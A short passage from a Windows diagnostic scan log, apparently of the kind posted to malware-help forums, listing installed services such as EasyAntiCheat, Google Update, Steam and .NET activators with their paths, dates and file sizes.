S3 EasyAntiCheat;EasyAntiCheat; C:\Windows\syswow64\EasyAntiCheat.exe [2017-09-13 383016]
S3 gupdatem;Служба Google Update (gupdatem); C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-07-09 153168]
S3 IEEtwCollectorService;@%SystemRoot%\system32\ieetwcollectorres.dll,-1000; C:\Windows\system32\IEEtwCollector.exe [2015-03-14 114688]
S3 PeerDistSvc;@%SystemRoot%\system32\peerdistsvc.dll,-9000; C:\Windows\System32\s [2017-09-25 60]
S3 Steam Client Service;Steam Client Service; C:\Program Files (x86)\Common Files\Steam\SteamService.exe [2017-09-07 1610016]
S3 StorSvc;@%SystemRoot%\System32\StorSvc.dll,-100; C:\Windows\System32\s [2017-09-25 60]
S3 UmRdpService;@%SystemRoot%\system32\umrdp.dll,-1000; C:\Windows\System32\s [2017-09-25 60]
S3 WatAdminSvc;@%SystemRoot%\system32\Wat\WatUX.exe,-601; C:\Windows\system32\Wat\WatAdminSvc.exe [2017-07-10 1255736]
S4 aspnet_state;ASP.NET State Service; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe [2012-07-08 51648]
S4 NetMsmqActivator;@C:\Windows\Microsoft.NET\Framework64\v4.0.30319\\ServiceModelInstallRC.dll,-8195; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe [2012-07-09 139696]
S4 NetPipeActivator;@C:\Windows\Microsoft.NET\Framework64\v4.0.30319\\ServiceModelInstallRC.dll,-8197; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe [2012-07-09 139696]
S4 NetTcpActivator;@C:\Windows\Microsoft.NET\Framework64\v4.0.30319\\ServiceModelInstallRC.dll,-8199; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe [2012-07-09 139696]

-----------------EOF-----------------
